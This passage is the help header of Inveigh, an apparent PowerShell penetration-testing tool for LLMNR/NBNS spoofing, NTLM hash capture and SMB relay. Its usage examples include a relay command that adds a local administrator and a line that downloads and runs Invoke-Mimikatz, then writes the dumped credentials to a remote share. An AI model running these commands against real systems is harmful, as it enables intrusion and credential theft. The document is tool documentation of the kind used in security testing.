Function Invoke-Inveigh { <# .SYNOPSIS Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP(S)/SMB and NTLMv2 HTTP to SMB relay. .DESCRIPTION Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to assist penetration testers that find themselves limited to a Windows system. This can commonly occur while performing standard post exploitation, phishing attacks, USB drive attacks, VLAN pivoting, or simply being restricted to a Windows system as part of client imposed restrictions. .PARAMETER IP Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpoofIP' parameter is not set. .PARAMETER SpooferIP Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host. .PARAMETER SpooferHostsReply Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. .PARAMETER SpooferHostsIgnore Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. .PARAMETER SpooferIPsReply Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. .PARAMETER SpooferIPsIgnore Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. .PARAMETER SpooferRepeat Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. .PARAMETER LLMNR Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. .PARAMETER NBNS Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. .PARAMETER NBNSTypes Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name .PARAMETER HTTP Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. .PARAMETER HTTPS Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. .PARAMETER HTTPAuth Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. .PARAMETER HTTPBasicRealm Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. .PARAMETER HTTPDir Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener. This parameter will not be used if HTTPResponse is set. .PARAMETER HTTPDefaultFile Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used for wpad.dat requests. .PARAMETER HTTPDefaultEXE Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. .PARAMETER HTTPResponse Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. .PARAMETER WPADAuth Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. .PARAMETER HTTPSCertThumbprint Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named inveigh.pfx. .PARAMETER WPADIP Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. .PARAMETER WPADPort Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. .PARAMETER WPADResponse Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. .PARAMETER SMB Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to prevent login requests from being processed by the Inveigh host. .PARAMETER Challenge Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. .PARAMETER MachineAccounts Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. .PARAMETER SMBRelay Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory. .PARAMETER SMBRelayTarget IP address of system to target for SMB relay. .PARAMETER SMBRelayCommand Command to execute on SMB relay target. .PARAMETER SMBRelayUsernames Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. .PARAMETER SMBRelayAutoDisable Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. .PARAMETER SMBRelayNetworkTimeout Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. .PARAMETER ConsoleOutput Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. .PARAMETER FileOutput Default = Disabled: (Y/N) Enable/Disable real time file output. .PARAMETER StatusOutput Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. .PARAMETER OutputStreamOnly Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. .PARAMETER OutputDir Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. .PARAMETER RunTime (Integer) Set the run time duration in minutes. .PARAMETER Inspect (Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic. .PARAMETER Tool Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire .EXAMPLE Import-Module .\Inveigh.psd1;Invoke-Inveigh Import full module and execute with all default settings. .EXAMPLE . ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10 Dot source load and execute specifying a specific local listening/spoofing IP. .EXAMPLE Invoke-Inveigh -IP 192.168.1.10 -HTTP N Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response. .EXAMPLE Invoke-Inveigh -Repeat N -WPADAuth Anonymous -SpooferHostsReply host1,host2 -SpooferIPsReply 192.168.2.75,192.168.2.76 Execute with the stealthiest options. Invoke-Inveigh -Inspect Execute with LLMNR, NBNS, SMB, HTTP, and HTTPS disabled in order to only inpect LLMNR/NBNS traffic. .EXAMPLE Invoke-Inveigh -HTTP N -LLMNR N -NBNS N Execute with LLMNR/NBNS spoofing disabled and challenge/response capture over SMB only. This may be useful for capturing non-Kerberos authentication attempts on a file server. .EXAMPLE Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N Execute specifying a specific local listening IP and a LLMNR/NBNS spoofing IP on another subnet. This may be useful for sending traffic to a controlled Linux system on another subnet. .EXAMPLE Invoke-Inveigh -HTTPResponse '' Execute specifying an HTTP redirect response. .EXAMPLE Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Winter2016 /add && net localgroup administrators Dave /add" Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. .EXAMPLE Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd" Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. Powermeup.cmd contents used for this example: powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1" Original version: https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/powermeup.cmd .NOTES 1. An elevated administrator or SYSTEM shell is needed. 2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/SMB NTLMv1/NTLMv2 challenge/response capture. 3. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets. 4. SMB challenge/response captures are performed by sniffing over the host system's SMB service. 5. HTTP challenge/response captures are performed with a dedicated listener. 6. The local LLMNR/NBNS services do not need to be disabled on the host system. 7. LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind. 8. Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS. 9. Ensure that the LMMNR,NBNS,SMB,HTTP ports are open within any local firewall on the host system. 10. If you copy/paste challenge/response captures from output window for password cracking, remove carriage returns. .LINK https://github.com/Kevin-Robertson/Inveigh #> # Default parameter values can be
